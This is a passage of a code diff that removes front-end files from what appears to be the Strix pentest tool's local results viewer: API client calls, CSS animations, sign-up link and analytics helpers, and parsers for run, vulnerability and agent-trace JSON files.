const parsed = await res.json();
|
||||
if (parsed && typeof parsed === "object") data = parsed as Record<string, unknown>;
|
||||
} catch {
|
||||
/* empty or non-JSON body */
|
||||
}
|
||||
return { ok: res.ok, status: res.status, data };
|
||||
}
|
||||
|
||||
export async function fetchRuns(): Promise<RunsPayload> {
|
||||
const obj = (await getJson("/api/runs")) as Partial<RunsPayload>;
|
||||
return {
|
||||
locked: obj?.locked ?? true,
|
||||
count: typeof obj?.count === "number" ? obj.count : 0,
|
||||
runs: Array.isArray(obj?.runs) ? (obj.runs as RunListEntry[]) : [],
|
||||
};
|
||||
}
|
||||
|
||||
export interface Capabilities {
|
||||
can_steer: boolean;
|
||||
}
|
||||
|
||||
export type SteerResult = { ok: true } | { ok: false; error: string };
|
||||
|
||||
/** GET /api/capabilities. can_steer is true only inside a live in-TUI scan. */
|
||||
export async function fetchCapabilities(): Promise<Capabilities> {
|
||||
const obj = (await getJson("/api/capabilities")) as Partial<Capabilities>;
|
||||
return { can_steer: obj?.can_steer === true };
|
||||
}
|
||||
|
||||
/** POST /api/agents/steer. Sends a steering instruction to a running agent. */
|
||||
export async function steerAgent(agentId: string, message: string): Promise<SteerResult> {
|
||||
const { ok, data } = await postJson("/api/agents/steer", {
|
||||
agent_id: agentId,
|
||||
message,
|
||||
});
|
||||
if (ok && data.ok === true) return { ok: true };
|
||||
return { ok: false, error: String(data.error ?? "unavailable") };
|
||||
}
|
||||
|
||||
export type SubmitFeedbackResult = { ok: true } | { ok: false; error: string };
|
||||
|
||||
/**
|
||||
* POST /api/feedback. Sends a feedback message plus a work email (no
|
||||
* verification) to the local server, which relays it to Strix.
|
||||
*/
|
||||
export async function submitFeedback(
|
||||
message: string,
|
||||
email: string
|
||||
): Promise<SubmitFeedbackResult> {
|
||||
const { ok, data } = await postJson("/api/feedback", { message, email });
|
||||
if (ok && data.ok === true) return { ok: true };
|
||||
return { ok: false, error: String(data.error ?? "unavailable") };
|
||||
}
|
||||
|
||||
export async function fetchAuthStatus(): Promise<AuthStatus> {
|
||||
const obj = (await getJson("/api/auth/status")) as Partial<AuthStatus>;
|
||||
return { verified: obj?.verified === true, email: obj?.email ?? null };
|
||||
}
|
||||
|
||||
export async function otpStart(email: string): Promise<OtpStartResult> {
|
||||
const { ok, data } = await postJson("/api/auth/otp/start", { email });
|
||||
if (ok && data.ok === true) return { ok: true };
|
||||
return { ok: false, error: String(data.error ?? "unavailable") };
|
||||
}
|
||||
|
||||
export async function otpVerify(email: string, code: string): Promise<OtpVerifyResult> {
|
||||
const { ok, data } = await postJson("/api/auth/otp/verify", { email, code });
|
||||
if (ok && data.verified === true) {
|
||||
return { verified: true, email: String(data.email ?? email) };
|
||||
}
|
||||
return { verified: false, error: String(data.error ?? "invalid_code") };
|
||||
}
|
||||
|
||||
export async function forgetAuth(): Promise<void> {
|
||||
await postJson("/api/auth/forget", {});
|
||||
}
|
||||
|
||||
export async function sendReport(runName?: string | null): Promise<SendReportResult> {
|
||||
const { ok, data } = await postJson("/api/report/send", runName ? { run: runName } : {});
|
||||
if (ok && data.ok === true) {
|
||||
return {
|
||||
ok: true,
|
||||
password: String(data.password ?? ""),
|
||||
filename: String(data.filename ?? "strix-report.pdf"),
|
||||
};
|
||||
}
|
||||
return { ok: false, error: String(data.error ?? "unavailable") };
|
||||
}
|
||||
@@ -1,326 +0,0 @@
|
||||
@import "tailwindcss";
|
||||
|
||||
:root {
|
||||
--font-geist-sans: ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto,
|
||||
Helvetica, Arial, sans-serif;
|
||||
--font-geist-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas,
|
||||
"Liberation Mono", "Courier New", monospace;
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: var(--font-geist-sans);
|
||||
--font-mono: var(--font-geist-mono);
|
||||
}
|
||||
|
||||
html,
|
||||
body {
|
||||
background: #000000;
|
||||
color: #ffffff;
|
||||
font-family: var(--font-geist-sans);
|
||||
}
|
||||
|
||||
/* Thin sidebar scrollbar */
|
||||
.scrollbar-thin {
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: rgba(255, 255, 255, 0.15) transparent;
|
||||
}
|
||||
.scrollbar-thin::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
}
|
||||
.scrollbar-thin::-webkit-scrollbar-thumb {
|
||||
background: rgba(255, 255, 255, 0.15);
|
||||
border-radius: 3px;
|
||||
}
|
||||
.scrollbar-thin::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
/* Motion vocabulary --------------------- */
|
||||
|
||||
/* Page transition: replayed on every view change via a keyed wrapper. */
|
||||
@keyframes page-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
filter: blur(8px);
|
||||
transform: translateY(8px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
filter: blur(0px);
|
||||
transform: translateY(0px);
|
||||
}
|
||||
}
|
||||
.animate-page-in {
|
||||
animation: page-in 150ms ease-out;
|
||||
}
|
||||
|
||||
/* Plain fade. */
|
||||
@keyframes fade-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
.animate-fade-in {
|
||||
animation: fade-in 350ms ease-out;
|
||||
}
|
||||
|
||||
/* Staggered card entrance for lists/grids (first four cascade). */
|
||||
@keyframes cardIn {
|
||||
from {
|
||||
opacity: 0;
|
||||
filter: blur(4px);
|
||||
transform: translateY(8px) scale(0.97);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
filter: blur(0px);
|
||||
transform: translateY(0) scale(1);
|
||||
}
|
||||
}
|
||||
.animate-card-in {
|
||||
opacity: 0;
|
||||
animation: cardIn 300ms cubic-bezier(0.16, 1, 0.3, 1) forwards;
|
||||
}
|
||||
.animate-card-in:nth-child(1) {
|
||||
animation-delay: 0ms;
|
||||
}
|
||||
.animate-card-in:nth-child(2) {
|
||||
animation-delay: 50ms;
|
||||
}
|
||||
.animate-card-in:nth-child(3) {
|
||||
animation-delay: 100ms;
|
||||
}
|
||||
.animate-card-in:nth-child(4) {
|
||||
animation-delay: 150ms;
|
||||
}
|
||||
|
||||
/* Shimmer sweep for progress indicators. */
|
||||
@keyframes shimmer {
|
||||
0% {
|
||||
transform: translateX(-100%);
|
||||
}
|
||||
100% {
|
||||
transform: translateX(400%);
|
||||
}
|
||||
}
|
||||
.animate-shimmer {
|
||||
animation: shimmer 2s infinite;
|
||||
}
|
||||
|
||||
/* Dialog enter/exit — mirrors shadcn's data-[state]:animate-in/animate-out
|
||||
(fade-in-0/zoom-in-95 in, fade-out-0/zoom-out-95 out) driven off a
|
||||
data-state attribute rather than a transition, so the enter always plays. */
|
||||
@keyframes dialog-overlay-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
@keyframes dialog-overlay-out {
|
||||
from {
|
||||
opacity: 1;
|
||||
}
|
||||
to {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
@keyframes dialog-panel-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: scale(0.95);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: scale(1);
|
||||
}
|
||||
}
|
||||
@keyframes dialog-panel-out {
|
||||
from {
|
||||
opacity: 1;
|
||||
transform: scale(1);
|
||||
}
|
||||
to {
|
||||
opacity: 0;
|
||||
transform: scale(0.95);
|
||||
}
|
||||
}
|
||||
.dialog-overlay[data-state="open"] {
|
||||
animation: dialog-overlay-in 200ms ease;
|
||||
}
|
||||
.dialog-overlay[data-state="closed"] {
|
||||
animation: dialog-overlay-out 200ms ease forwards;
|
||||
}
|
||||
.dialog-panel[data-state="open"] {
|
||||
animation: dialog-panel-in 200ms ease;
|
||||
}
|
||||
.dialog-panel[data-state="closed"] {
|
||||
animation: dialog-panel-out 200ms ease forwards;
|
||||
}
|
||||
|
||||
/* Agent detail modal: fade only (no scale) and faster. Its panel holds the full
|
||||
transcript, and animating a transform on that much DOM janks; fading the
|
||||
overlay (the panel inherits its opacity) stays cheap and snappy. */
|
||||
.agent-modal[data-state="open"] {
|
||||
animation: dialog-overlay-in 140ms ease;
|
||||
}
|
||||
.agent-modal[data-state="closed"] {
|
||||
animation: dialog-overlay-out 140ms ease forwards;
|
||||
}
|
||||
|
||||
/* Tab content transition. */
|
||||
@keyframes tab-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
filter: blur(4px);
|
||||
transform: translateY(6px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
filter: blur(0px);
|
||||
transform: translateY(0px);
|
||||
}
|
||||
}
|
||||
.animate-tab-in {
|
||||
animation: tab-in 200ms ease-out;
|
||||
}
|
||||
|
||||
/* Markdown prose styling */
|
||||
.prose-markdown {
|
||||
font-size: 14px;
|
||||
line-height: 1.7;
|
||||
color: #999;
|
||||
word-wrap: break-word;
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
.prose-markdown p {
|
||||
margin-bottom: 0.75em;
|
||||
}
|
||||
|
||||
.prose-markdown p:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.prose-markdown strong {
|
||||
color: #ccc;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.prose-markdown em {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.prose-markdown code {
|
||||
background: #0a0a0a;
|
||||
border: 1px solid #111;
|
||||
border-radius: 4px;
|
||||
padding: 0.15em 0.4em;
|
||||
font-size: 0.9em;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
color: #ccc;
|
||||
font-variant-ligatures: none;
|
||||
}
|
||||
|
||||
.prose-markdown pre {
|
||||
background: transparent;
|
||||
border: none;
|
||||
border-radius: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font-variant-ligatures: none;
|
||||
}
|
||||
|
||||
.prose-markdown pre code {
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
font-size: 13px;
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
.prose-markdown ul,
|
||||
.prose-markdown ol {
|
||||
padding-left: 1.5em;
|
||||
margin-bottom: 0.75em;
|
||||
}
|
||||
|
||||
.prose-markdown ul {
|
||||
list-style-type: disc;
|
||||
}
|
||||
|
||||
.prose-markdown ol {
|
||||
list-style-type: decimal;
|
||||
}
|
||||
|
||||
.prose-markdown li {
|
||||
margin-bottom: 0.25em;
|
||||
}
|
||||
|
||||
.prose-markdown li > ul,
|
||||
.prose-markdown li > ol {
|
||||
padding-left: 1.5em;
|
||||
margin-top: 0.25em;
|
||||
margin-bottom: 0.25em;
|
||||
}
|
||||
|
||||
.prose-markdown ol + ul {
|
||||
padding-left: 3em;
|
||||
margin-top: -0.5em;
|
||||
}
|
||||
|
||||
.prose-markdown h1,
|
||||
.prose-markdown h2,
|
||||
.prose-markdown h3,
|
||||
.prose-markdown h4,
|
||||
.prose-markdown h5,
|
||||
.prose-markdown h6 {
|
||||
color: #ddd;
|
||||
font-weight: 600;
|
||||
margin-top: 1em;
|
||||
margin-bottom: 0.5em;
|
||||
}
|
||||
|
||||
.prose-markdown a {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.prose-markdown blockquote {
|
||||
border-left: 3px solid #333;
|
||||
padding-left: 1em;
|
||||
color: #777;
|
||||
margin: 0.75em 0;
|
||||
}
|
||||
|
||||
.prose-markdown hr {
|
||||
border: none;
|
||||
border-top: 1px solid #222;
|
||||
margin: 1em 0;
|
||||
}
|
||||
|
||||
.prose-markdown > table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
margin: 0.75em 0;
|
||||
}
|
||||
|
||||
.prose-markdown > table th,
|
||||
.prose-markdown > table td {
|
||||
border: 1px solid #333;
|
||||
padding: 0.4em 0.75em;
|
||||
text-align: left;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.prose-markdown > table th {
|
||||
background: #1a1a1a;
|
||||
color: #ccc;
|
||||
font-weight: 600;
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
// All upsell / sign-up CTAs route anonymous local-viewer users to the public
|
||||
// cloud sign-up. Open in a new tab so the local results stay put.
|
||||
export const SIGNUP_URL = "https://app.strix.ai/api/auth/signup";
|
||||
export const DEMO_URL = "https://strix.ai/demo";
|
||||
export const PRICING_URL = "https://strix.ai/pricing";
|
||||
|
||||
// Attribution params appended to every outbound CTA link so the destination
|
||||
// analytics can see the local viewer drove the click, with utm_content carrying
|
||||
// the CTA slug so we know which one.
|
||||
const CTA_PARAMS =
|
||||
"ref=oss_viewer&utm_source=oss_viewer&utm_medium=local_viewer&utm_campaign=oss_viewer";
|
||||
|
||||
export function ctaUrl(base: string, slug: string): string {
|
||||
const sep = base.includes("?") ? "&" : "?";
|
||||
return `${base}${sep}${CTA_PARAMS}&utm_content=${encodeURIComponent(slug)}`;
|
||||
}
|
||||
|
||||
// Best-effort, anonymous beacon. The local server forwards this to PostHog only
|
||||
// if the user has telemetry enabled; it never blocks navigation. Undefined
|
||||
// props are dropped so we only send what is set. NEVER pass PII here (no email,
|
||||
// code, or report content) - the props are limited to anonymous metadata.
|
||||
export function track(event: string, props: Record<string, string | undefined> = {}): void {
|
||||
try {
|
||||
const body: Record<string, string> = { event };
|
||||
for (const [key, value] of Object.entries(props)) {
|
||||
if (value !== undefined) body[key] = value;
|
||||
}
|
||||
const payload = JSON.stringify(body);
|
||||
if (typeof navigator !== "undefined" && navigator.sendBeacon) {
|
||||
navigator.sendBeacon("/api/event", payload);
|
||||
} else {
|
||||
void fetch("/api/event", { method: "POST", body: payload, keepalive: true });
|
||||
}
|
||||
} catch {
|
||||
/* analytics is best-effort */
|
||||
}
|
||||
}
|
||||
|
||||
// Anonymous conversion tracking for a sign-up/upsell click. `surface` records
|
||||
// where the click happened so one CTA slug can be reused across placements.
|
||||
export function trackCta(cta: string, surface?: string): void {
|
||||
track("cta_clicked", { cta, surface });
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
// Slim, dependency-free extract of strix-app's display-number helper. The full
|
||||
// version queries Supabase to compute org-wide finding numbers; the local viewer
|
||||
// only ever needs the pure formatter, so the supabase-backed functions are
|
||||
// intentionally omitted (a local run has no org context).
|
||||
export function formatStrixId(num: number): string {
|
||||
return `STRIX-${num}`;
|
||||
}
|
||||
|
||||
/** Format an integer with locale thousands separators (e.g. 68339486 -> "68,339,486"). */
|
||||
export function formatNumber(num: number): string {
|
||||
return new Intl.NumberFormat("en-US").format(num);
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
import hljs from "highlight.js/lib/common";
|
||||
import http from "highlight.js/lib/languages/http";
|
||||
import nginx from "highlight.js/lib/languages/nginx";
|
||||
import apache from "highlight.js/lib/languages/apache";
|
||||
import dockerfile from "highlight.js/lib/languages/dockerfile";
|
||||
import properties from "highlight.js/lib/languages/properties";
|
||||
|
||||
hljs.registerLanguage("http", http);
|
||||
hljs.registerLanguage("nginx", nginx);
|
||||
hljs.registerLanguage("apache", apache);
|
||||
hljs.registerLanguage("dockerfile", dockerfile);
|
||||
hljs.registerLanguage("properties", properties);
|
||||
|
||||
export default hljs;
|
||||
@@ -1,325 +0,0 @@
|
||||
import type {
|
||||
Vulnerability,
|
||||
VulnerabilitySeverity,
|
||||
VulnerabilityStatus,
|
||||
} from "@/types/issues";
|
||||
|
||||
/**
|
||||
* Pure, dependency-free parsers that turn a Strix CLI local run
|
||||
* (`strix_runs/<run>/{run.json,vulnerabilities.json}`) into the app's own
|
||||
* types, so the /results view can reuse the dashboard's finding components.
|
||||
*
|
||||
* These run entirely client-side against files the user picked from disk —
|
||||
* nothing here uploads or persists anything.
|
||||
*/
|
||||
|
||||
export class RunParseError extends Error {
|
||||
constructor(message: string) {
|
||||
super(message);
|
||||
this.name = "RunParseError";
|
||||
}
|
||||
}
|
||||
|
||||
export interface ParsedRunSummary {
|
||||
runId: string | null;
|
||||
runName: string | null;
|
||||
targets: string[];
|
||||
scanMode: string | null;
|
||||
status: string | null;
|
||||
startTime: string | null;
|
||||
endTime: string | null;
|
||||
durationSeconds: number | null;
|
||||
executiveSummary: string | null;
|
||||
technicalAnalysis: string | null;
|
||||
methodology: string | null;
|
||||
recommendations: string | null;
|
||||
}
|
||||
|
||||
const KNOWN_SEVERITIES: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
|
||||
|
||||
function coerceSeverity(raw: unknown): VulnerabilitySeverity {
|
||||
const s = String(raw ?? "").toLowerCase().trim();
|
||||
if ((KNOWN_SEVERITIES as string[]).includes(s)) return s as VulnerabilitySeverity;
|
||||
// The app's severity type has no "info"/"informational" bucket; fold those
|
||||
// (and anything unrecognized) into "low" so the shared UI renders cleanly.
|
||||
return "low";
|
||||
}
|
||||
|
||||
function toIsoTimestamp(raw: unknown): string {
|
||||
if (typeof raw === "string" && raw.trim()) {
|
||||
// CLI writes e.g. "2025-01-02 03:04:05 UTC".
|
||||
const normalized = raw.trim().replace(" UTC", "Z").replace(" ", "T");
|
||||
const d = new Date(normalized);
|
||||
if (!Number.isNaN(d.getTime())) return d.toISOString();
|
||||
const direct = new Date(raw);
|
||||
if (!Number.isNaN(direct.getTime())) return direct.toISOString();
|
||||
}
|
||||
return new Date().toISOString();
|
||||
}
|
||||
|
||||
function asStringOrNull(v: unknown): string | null {
|
||||
return typeof v === "string" && v.length > 0 ? v : null;
|
||||
}
|
||||
|
||||
function asNumberOrNull(v: unknown): number | null {
|
||||
return typeof v === "number" && Number.isFinite(v) ? v : null;
|
||||
}
|
||||
|
||||
function parseJson(text: string, label: string): unknown {
|
||||
try {
|
||||
return JSON.parse(text);
|
||||
} catch {
|
||||
throw new RunParseError(
|
||||
`${label} isn't valid JSON. Make sure you selected a Strix run directory.`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export function parseRunJson(text: string): ParsedRunSummary {
|
||||
const data = parseJson(text, "run.json");
|
||||
if (!data || typeof data !== "object" || Array.isArray(data)) {
|
||||
throw new RunParseError("run.json is not an object.");
|
||||
}
|
||||
const record = data as Record<string, unknown>;
|
||||
|
||||
const targets: string[] = [];
|
||||
const targetsInfo = record.targets_info;
|
||||
if (Array.isArray(targetsInfo)) {
|
||||
for (const t of targetsInfo) {
|
||||
if (t && typeof t === "object") {
|
||||
const original = (t as Record<string, unknown>).original;
|
||||
if (typeof original === "string" && original) targets.push(original);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const startTime = asStringOrNull(record.start_time);
|
||||
const endTime = asStringOrNull(record.end_time);
|
||||
let durationSeconds: number | null = null;
|
||||
if (startTime && endTime) {
|
||||
const s = new Date(startTime).getTime();
|
||||
const e = new Date(endTime).getTime();
|
||||
if (!Number.isNaN(s) && !Number.isNaN(e) && e >= s) {
|
||||
durationSeconds = Math.round((e - s) / 1000);
|
||||
}
|
||||
}
|
||||
|
||||
let executiveSummary: string | null = null;
|
||||
let technicalAnalysis: string | null = null;
|
||||
let methodology: string | null = null;
|
||||
let recommendations: string | null = null;
|
||||
const scanResults = record.scan_results;
|
||||
if (scanResults && typeof scanResults === "object") {
|
||||
const sr = scanResults as Record<string, unknown>;
|
||||
executiveSummary = asStringOrNull(sr.executive_summary);
|
||||
technicalAnalysis = asStringOrNull(sr.technical_analysis);
|
||||
methodology = asStringOrNull(sr.methodology);
|
||||
recommendations = asStringOrNull(sr.recommendations);
|
||||
}
|
||||
|
||||
return {
|
||||
runId: asStringOrNull(record.run_id),
|
||||
runName: asStringOrNull(record.run_name),
|
||||
targets,
|
||||
scanMode: asStringOrNull(record.scan_mode),
|
||||
status: asStringOrNull(record.status),
|
||||
startTime,
|
||||
endTime,
|
||||
durationSeconds,
|
||||
executiveSummary,
|
||||
technicalAnalysis,
|
||||
methodology,
|
||||
recommendations,
|
||||
};
|
||||
}
|
||||
|
||||
/** Fields on the app's Vulnerability type that a local run never provides. */
|
||||
function emptyVulnerabilityDefaults(): Omit<
|
||||
Vulnerability,
|
||||
| "id"
|
||||
| "title"
|
||||
| "description"
|
||||
| "severity"
|
||||
| "created_at"
|
||||
| "scan_id"
|
||||
| "status"
|
||||
> {
|
||||
return {
|
||||
pr_review_id: null,
|
||||
cve: null,
|
||||
cvss: null,
|
||||
potential_risk_saving: null,
|
||||
risk_saving_description: null,
|
||||
impact: null,
|
||||
endpoint: null,
|
||||
method: null,
|
||||
target: null,
|
||||
technical_analysis: null,
|
||||
poc_description: null,
|
||||
poc_script_code: null,
|
||||
code_diff: null,
|
||||
code_file: null,
|
||||
code_before: null,
|
||||
code_after: null,
|
||||
cwe: null,
|
||||
code_locations: null,
|
||||
remediation_steps: null,
|
||||
fix_pr_body: null,
|
||||
evidence: null,
|
||||
assumptions: null,
|
||||
fix_effort: null,
|
||||
cvss_breakdown: null,
|
||||
status_changed_at: null,
|
||||
status_changed_by: null,
|
||||
status_note: null,
|
||||
snoozed_until: null,
|
||||
reopened_at: null,
|
||||
reopened_by: null,
|
||||
original_severity: null,
|
||||
severity_changed_at: null,
|
||||
severity_changed_by: null,
|
||||
severity_override_reason: null,
|
||||
retest_of_vulnerability_id: null,
|
||||
};
|
||||
}
|
||||
|
||||
function parseOneVulnerability(
|
||||
raw: Record<string, unknown>,
|
||||
index: number,
|
||||
runId: string | null
|
||||
): Vulnerability {
|
||||
const cweRaw = raw.cwe;
|
||||
const cwe =
|
||||
typeof cweRaw === "string" && cweRaw.trim()
|
||||
? [cweRaw.trim()]
|
||||
: Array.isArray(cweRaw)
|
||||
? (cweRaw.filter((c) => typeof c === "string" && c) as string[])
|
||||
: null;
|
||||
|
||||
const status: VulnerabilityStatus = "open";
|
||||
|
||||
return {
|
||||
...emptyVulnerabilityDefaults(),
|
||||
id: asStringOrNull(raw.id) ?? `vuln-${index + 1}`,
|
||||
scan_id: runId,
|
||||
title: asStringOrNull(raw.title) ?? "Untitled finding",
|
||||
description: asStringOrNull(raw.description) ?? "",
|
||||
severity: coerceSeverity(raw.severity),
|
||||
status,
|
||||
created_at: toIsoTimestamp(raw.timestamp),
|
||||
cve: asStringOrNull(raw.cve),
|
||||
cvss: asNumberOrNull(raw.cvss),
|
||||
impact: asStringOrNull(raw.impact),
|
||||
endpoint: asStringOrNull(raw.endpoint),
|
||||
method: asStringOrNull(raw.method),
|
||||
target: asStringOrNull(raw.target),
|
||||
technical_analysis: asStringOrNull(raw.technical_analysis),
|
||||
poc_description: asStringOrNull(raw.poc_description),
|
||||
poc_script_code: asStringOrNull(raw.poc_script_code),
|
||||
cwe,
|
||||
code_locations: Array.isArray(raw.code_locations)
|
||||
? (raw.code_locations as Vulnerability["code_locations"])
|
||||
: null,
|
||||
remediation_steps: asStringOrNull(raw.remediation_steps),
|
||||
fix_pr_body: asStringOrNull(raw.fix_pr_body),
|
||||
evidence: asStringOrNull(raw.evidence),
|
||||
assumptions: asStringOrNull(raw.assumptions),
|
||||
fix_effort: (asStringOrNull(raw.fix_effort) as Vulnerability["fix_effort"]) ?? null,
|
||||
cvss_breakdown: (raw.cvss_breakdown as Vulnerability["cvss_breakdown"]) ?? null,
|
||||
};
|
||||
}
|
||||
|
||||
export function parseVulnerabilitiesJson(
|
||||
text: string,
|
||||
runId: string | null = null
|
||||
): Vulnerability[] {
|
||||
const data = parseJson(text, "vulnerabilities.json");
|
||||
if (!Array.isArray(data)) {
|
||||
throw new RunParseError("vulnerabilities.json is not a JSON array.");
|
||||
}
|
||||
return data.map((item, i) => {
|
||||
if (!item || typeof item !== "object") {
|
||||
throw new RunParseError(`vulnerabilities.json entry #${i + 1} is not an object.`);
|
||||
}
|
||||
return parseOneVulnerability(item as Record<string, unknown>, i, runId);
|
||||
});
|
||||
}
|
||||
|
||||
export interface ParsedAgent {
|
||||
id: string;
|
||||
name: string;
|
||||
status: string;
|
||||
parentId: string | null;
|
||||
task: string | null;
|
||||
skills: string[];
|
||||
depth: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse the agent execution trace from `.state/agents.json` into a pre-ordered
|
||||
* tree (children follow their parent; `depth` drives indentation). Rendered
|
||||
* 100% client-side and never uploaded — traces contain target details, so they
|
||||
* must stay on the user's machine. The heavier `.state/agents.db` (SQLite) is
|
||||
* intentionally ignored; `agents.json` has everything the panel needs.
|
||||
*/
|
||||
export function parseAgentsJson(text: string): ParsedAgent[] {
|
||||
const data = parseJson(text, "agents.json");
|
||||
if (!data || typeof data !== "object" || Array.isArray(data)) return [];
|
||||
const record = data as Record<string, unknown>;
|
||||
const statuses = (record.statuses ?? {}) as Record<string, unknown>;
|
||||
const parentOf = (record.parent_of ?? {}) as Record<string, unknown>;
|
||||
const names = (record.names ?? {}) as Record<string, unknown>;
|
||||
const metadata = (record.metadata ?? {}) as Record<string, unknown>;
|
||||
|
||||
const agents = new Map<string, ParsedAgent>();
|
||||
for (const id of Object.keys(statuses)) {
|
||||
const meta = (metadata[id] ?? {}) as Record<string, unknown>;
|
||||
const skillsRaw = meta.skills;
|
||||
agents.set(id, {
|
||||
id,
|
||||
name: asStringOrNull(names[id]) ?? id,
|
||||
status: asStringOrNull(statuses[id]) ?? "unknown",
|
||||
parentId: asStringOrNull(parentOf[id]),
|
||||
task: asStringOrNull(meta.task),
|
||||
skills: Array.isArray(skillsRaw)
|
||||
? skillsRaw.filter((s): s is string => typeof s === "string")
|
||||
: [],
|
||||
depth: 0,
|
||||
});
|
||||
}
|
||||
if (agents.size === 0) return [];
|
||||
|
||||
const childrenOf = new Map<string | null, string[]>();
|
||||
for (const a of agents.values()) {
|
||||
const key = a.parentId && agents.has(a.parentId) ? a.parentId : null;
|
||||
(childrenOf.get(key) ?? childrenOf.set(key, []).get(key)!).push(a.id);
|
||||
}
|
||||
|
||||
const ordered: ParsedAgent[] = [];
|
||||
const seen = new Set<string>();
|
||||
const visit = (id: string, depth: number): void => {
|
||||
const a = agents.get(id);
|
||||
if (!a || seen.has(id)) return;
|
||||
seen.add(id);
|
||||
a.depth = depth;
|
||||
ordered.push(a);
|
||||
for (const childId of childrenOf.get(id) ?? []) visit(childId, depth + 1);
|
||||
};
|
||||
for (const rootId of childrenOf.get(null) ?? []) visit(rootId, 0);
|
||||
// Defensive: include any agents not reachable from a root.
|
||||
for (const a of agents.values()) if (!seen.has(a.id)) ordered.push(a);
|
||||
return ordered;
|
||||
}
|
||||
|
||||
export function severityCounts(
|
||||
vulns: Vulnerability[]
|
||||
): Record<VulnerabilitySeverity, number> {
|
||||
const counts: Record<VulnerabilitySeverity, number> = {
|
||||
critical: 0,
|
||||
high: 0,
|
||||
medium: 0,
|
||||
low: 0,
|
||||
};
|
||||
for (const v of vulns) counts[v.severity] += 1;
|
||||
return counts;
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
export interface ParsedTarget {
|
||||
display: string;
|
||||
href: string | null;
|
||||
provider: "github" | "gitlab" | "bitbucket" | null;
|
||||
}
|
||||
|
||||
export function parseTarget(target: string): ParsedTarget {
|
||||
// GitHub URL
|
||||
const ghMatch = target.match(
|
||||
/(?:https?:\/\/)?(?:www\.)?github\.com\/([^\s/]+\/[^\s/]+)/
|
||||
);
|
||||
if (ghMatch) {
|
||||
const slug = ghMatch[1].replace(/\.git$/, "");
|
||||
return { display: slug, href: `https://github.com/${slug}`, provider: "github" };
|
||||
}
|
||||
|
||||
// GitLab URL
|
||||
const glMatch = target.match(
|
||||
/(?:https?:\/\/)?(?:www\.)?gitlab\.com\/([^\s/]+\/[^\s/]+)/
|
||||
);
|
||||
if (glMatch) {
|
||||
const slug = glMatch[1].replace(/\.git$/, "");
|
||||
return { display: slug, href: `https://gitlab.com/${slug}`, provider: "gitlab" };
|
||||
}
|
||||
|
||||
// Bitbucket URL
|
||||
const bbMatch = target.match(
|
||||
/(?:https?:\/\/)?(?:www\.)?bitbucket\.org\/([^\s/]+\/[^\s/]+)/
|
||||
);
|
||||
if (bbMatch) {
|
||||
const slug = bbMatch[1].replace(/\.git$/, "");
|
||||
return { display: slug, href: `https://bitbucket.org/${slug}`, provider: "bitbucket" };
|
||||
}
|
||||
|
||||
// URL with protocol
|
||||
if (/^https?:\/\//i.test(target)) {
|
||||
return {
|
||||
display: target.replace(/^https?:\/\/(www\.)?/, ""),
|
||||
href: target,
|
||||
provider: null,
|
||||
};
|
||||
}
|
||||
|
||||
// Bare domain (e.g. "example.com" or "example.com/path")
|
||||
if (/^[a-zA-Z0-9][\w.-]*\.[a-zA-Z]{2,}/.test(target)) {
|
||||
return { display: target, href: `https://${target}`, provider: null };
|
||||
}
|
||||
|
||||
// Not a URL
|
||||
return { display: target, href: null, provider: null };
|
||||
}
|
||||
|
||||
/**
|
||||
* A clean, human-readable run title derived from the scan target (e.g.
|
||||
* "arch.co") rather than the raw run dir name ("arch-co_ca3f"). Falls back to
|
||||
* the raw name, then a generic label.
|
||||
*/
|
||||
export function runTitle(target: string | null, fallback: string): string {
|
||||
if (target) return parseTarget(target).display.replace(/\/$/, "");
|
||||
return fallback || "Untitled pentest";
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
import { clsx, type ClassValue } from "clsx"
|
||||
import { twMerge } from "tailwind-merge"
|
||||
|
||||
export function cn(...inputs: ClassValue[]) {
|
||||
return twMerge(clsx(inputs))
|
||||
}
|
||||
|
||||
export function formatDate(dateString: string): string {
|
||||
const date = new Date(dateString);
|
||||
return date.toLocaleDateString("en-US", {
|
||||
year: "numeric",
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
});
|
||||
}
|
||||
|
||||
export function isValidUrl(url: string): boolean {
|
||||
